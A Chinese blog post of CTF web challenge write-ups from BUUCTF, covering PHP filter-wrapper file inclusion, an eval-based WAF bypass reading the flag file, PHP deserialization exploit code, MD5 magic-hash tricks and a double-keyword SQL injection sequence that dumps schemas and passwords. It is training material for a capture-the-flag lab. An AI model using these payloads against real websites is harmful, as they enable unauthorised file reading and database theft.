BUUCTF 从入门到跑路之Web薅我头发

简单的WEB题目,记录自己的做题思路和思考过程,希望我的无心之言能对你起到帮助。

/
/持续更新ing..........................

[ACTF2020 新生赛]Include

一道简单的include(文件包含题目),主要考察的是对于php伪协议的利用。从题目上得知信息,include文件包含的形式,我个人生活中常用的文件包含无非就是/?file=xxxx.php或者是/?file=php://filter/read=convert.base64-encode/resource=xxxx.php
不了解php伪协议的同学可以自己去查一下,网上的资料很详细也很多。
总体来说这道题个人经验比较重要吧,整个的payload==>/?file=php://filter/read=convert.base64-encode/resource=flag.php

[RoarCTF 2019]Easy Calc

坑人的 ,刚开始拿到题目并没有思路,F12 看到题目作者给了个提示,说他上了waf,那么这道题所考的点应该是如何去绕过WAF, 那么我们就有思路了,看到源码中包含了一个名为calc.php的waf文件,我们试着去访问一下,发现可以直接访问。查看源码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);    
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                } 
        }
        eval('echo '.$str.';'); 
}?>

从源码中看出,整个代码通过get方式来传参,而却num参数过滤了很多特殊字符和空格。这个地方我也没思路,找到网上一些大佬的wp,发现人家在num前面加入一个空格,个人理解应该是将num变成了[空格]num,而[空格] 被后面的正则去掉了,所以参数就以num+字符串传进了源码中。那么我们要做的就像得到了一个简单的shell一样,我们利用scandir(/) 查看根目录的文件。
但是我们用scandir(/)的时候,要注意,出题人在出题的时候吧"/"也过滤掉了,所以这个地方我们考虑用其他方法绕过这个问题,笔者使用的是ASCII码的方法来解决这个问题。这个地方需要注意的是,我们通过print_r来打印我们scandir所查询到的结果,官方解释是print_r所输出的结果更适合人类理解。(内心os:哈哈哈哈妙啊 ,终于有人不把我当成生产队的驴了。)
然后我们就可以得到下面的结果:

calc.php?%20num=print_r(scandir(chr(47)))

可以看到 我们所要的值应该就是f1agg这个东东,话不多说,直接上file_get_contants()函数, 这里补充一点,对于萌新来说,既然我知道了文件和路径,那我为什么不可以直接file(/f1agg)来直接打开文件?请看下图:
(PS 截图中的ASCII码对应的是(/flagg),因为懒就没有重新补充)
file(/f1agg)

这个地方可以仔细去看一下file_get_contents(filename)的用法,在笔者看来,可以简单理解成,这个地方我们要读的不是这个文件,而是这个文件的字符串。所以我们这个地方用file_get_contents。 payload==/clac.php?%20num=print_r(file_get_contents(chr(47).f1agg))
flag

HTTP

了解各类型的http

image.png
极客大挑战 PHP (反序列化)

拿到WWW.zip的文件后发现是一道简单反序列化的题目

反序列化EXP和解释
<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';   #通过class.php 发现需要username和password的值 

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;   #从class.php中把调用的函数复制过来
    }
} 
$a = new Name('admin', 100);   #创建新对象
echo (serialize($a));  # 序列化对象,用这一串序列化之后的payload是错误的,查看class.php,发现还有个wakeup函数
echo PHP_EOL; #换行|过wakeup函数 需要让name后面的私有属性个数和真实值个数不相同 
echo ("/?select=".urlencode(serialize($a)));  #url编码是为了解决私有属性中<0x00>复制不了的问题 
?>
青龙杯

这里面看到了一个自己平时很少注意的点,主要因为自己的水平太菜才会感觉像发现新大陆一样,下图中OP===2 然后进入process函数,其中只有当op==2 的时候,才会进入我们想要的read函数中,那么我们第一个想法就是把我们的op设置为“2”,但是这里有个点,在php中双等号和三等号的意义是不一样的,三等号还要判断类型,也就是说默认定义的op=2 这里的"2 " 对应的应该是int ,而op=“2”,所对应的应该是string (才疏学浅,如果写错了请各位大佬批评指正)。那么我们看到源码中只有op===2为false的时候,才能进入到下面的process函数中,所以我们要把第一个判断过掉,这里我们使我们的赋值变成op=2,也就是说把他变成int类型。进入process函数后,我们看到process中对于op是一个"==" 也就是说只判断变量值,不去判断变量的类型。这样就成功的绕开了op===2这个点。


php等号的区别

源码截图

在构造EXP的时候,三个变量都是受到保护的,所以在构造序列化字符串的时候会出现<0x00>这种标志,但是后面的is_valid 函数要求32<ASCII<125 所以0x00这种肯定不符合,这里提供给大家两种解决方案:
1.查字符:下图中可以看出,构造出反序列化链之后,可以把0x00和* 手动删掉,当然还要更改前面的字符串长度,这种方式比较麻烦,不过也可以得到正确的序列化字符串。
查字符

2.更改变量属性: 我们可以把proteced=> public属性,这样在序列化链中就不会出现0x00这种特殊符号,也可以顺利过下面的is_valid函数的一关。需要注意的是,看了网上好多大佬的wp之后,发现大家的普遍方法就是:
php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过。
更改变量属性

看好多大佬都说在BUU上面的这道题是被简化的,原题还要猜解flag.php的绝对路径。在源码中细心的小伙伴肯定发现了php伪协议的利用函数,file_get_contents(),而利用方法也就是图中所加注释的部分。这道题在buu上面我发现不用伪协议也能解决,所以就偷了个懒。而conten变量其实是无关紧要的一个变量,在后续中,content主要是用于write函数,而content的长度限制也是在write中,所以在本地设置的时候,content的长度和内容大家可以随便设置。
payload====> url/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"0";}

EZ_md5

新型绕过方式md5(md5($_GET['a'])) ==md5($_GET['b'])
想要绕过PHP中的MD5限制,我们首先要知道以下几点:
1.在php中0e会被当做科学计数法,就算后面有字母,其结果也是0。
2.md5码有两种格式,一个是16字符2进制的,还有一种是32字符16进制的。
3.绕过MD5($password,true)的万能密码:ffifdyop
解题流程:
·1 第一步的sql语句我们可以通过抓包或者查看F12中的网络--查看源码 来查看到。

第一步
这一步没什么好讲的东西,就是ffidfyop这个万能密码记住,在MD5函数中会转换成
'or'66�]��!r,��b,也就是 xxxx' or ' xxxxx。
经过md5加密后:276f722736c95d99e921722cf9ed621c
·2
第二步
我们看到了我们很熟悉的glzjin同学,
两个参数,a和b,要求ab不等,且ab的MD5值相等,这就有点难搞啦,这里涉及到我们上面讲到的知识点1,也就是说php中0e后面的会被默认放掉,所以我们要找到0e开头的MD5加密,这里大家百度搜索一下即可,我用的是
a=s155964671a&b=s878926199a

·3 强弱判断,!==和===的区别。上面的题有提过,这里我就不在赘述 直接上payload,param1[]=1&param2[]=2

结果截图
解释:PHP中md5()函数无法处理数组(会返回NULL),所以我们就可以利用这种方法来绕过===的强判断类型。
三步走完就可以拿到你的flag。

[极客大挑战 2019]BabySQL

这两天做了几道sql注入的题,总结起来就是爆表名,爆库名,爆字段。

尝试注入:


image.png

发现or没了,而且这个地方我们还发现了,这里的单引号是扩在der 4 %23这串字符上面的,这里我最开始还疑惑了一下,后面查一下网上的大佬们说是:

“#”将传入的数据都当作一个字符串,会对自动传入的数据加一个双信号,例如:order by 3,会被解析成 order by “3”.而“$”会将数据直接显示生成在sql中,例如:order by 3 ,会被解析成 order by 3 。
到目前为止,我们发现这道题是拼接字符,无法用order这道题,我们使用order by 来猜解字段是不正确的。拼接字符的原理大致如上面所说,传入的参数不能有'或者" 号,如果加入了这些符号,那么order by id中的id 就不再是字段 而是字符串。
要使用union select 1,2,3,4,5%23来进行初步测试,发现union和select都被过滤了,绕过姿势很多种类,可以参考网上的,我这里就选择了比较简单的双写,ununionion selselectect绕过,由于是在url里,尽量把# 和 , 变成%23 和%27 空格是%20 .:payload:
check.php?username=1%27uunionnion sselectelect 1,2,3%23&password=123

image.png

回显位2,3,不多说了,爆库爆表爆字段。
check.php?username=1%27uunionnion sselectelect1,2,database()%23&password=123
image.png

check.php?username=1%27uunionnion sselectelect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23&password=123
schemata是schema的复数

image.png

check.php?username=1%27uunionnion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23&password=123
image.png

image.png

check.php?username=1%27uunionnion sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name='b4bsql'%23&password=123
image.png

1%27uunionnion sselectelect 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=123
sql注入的题是真的水帖子,又臭又长

[护网杯 2018]easy_tornado原理 :python 模板注入

这道题做的云里雾里的,简而言之就是没做明白。看到题目里的三个提示之后,就去找这道题的cookie_secret,bp抓包之后发现根本找不到,无奈上百度搜了一些大佬的WP ,发现自己的思路没毛病,就是太菜了,不知道这个handler.settings怎么来的。还是太菜 ,没太明白,放一个payload在最后吧,拿到cookie之后,根据v他给的hints的提示,写一个py的脚本就行。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,922评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,591评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,546评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,467评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,553评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,580评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,588评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,334评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,780评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,092评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,270评论 1 344
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,925评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,573评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,194评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,437评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,154评论 2 366
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,127评论 2 352

推荐阅读更多精彩内容

  • 我使用的是火狐浏览器 使用火狐浏览器的hackbar插件 如果有错误的地方希望大家多多指出,多谢多谢 WEB2 点...
    yangc随想阅读 54,264评论 11 16
  • Web1(代码审计) Web2(数据提交) 发现需要在3s计算出一个表达式的结果,直接计算不太现实,可以尝试使用P...
    不会飞的沙雕阅读 3,338评论 0 2
  • Bugku-WEB 1、web2 查看源代码,在url前面加上view-source:,搜索flag即可 2、计算...
    glotozz阅读 1,294评论 0 0
  • [HCTF 2018]WarmUp 打开链接后是一张图片,看看源码提示source.php,进入source.ph...
    佛系小沈阅读 4,792评论 0 4
  • 2018/3/16 17:34:51 WEB题 1.签到题 题目:key在哪里? writeup:查看源代码即可获...
    Sec小玖阅读 22,383评论 1 11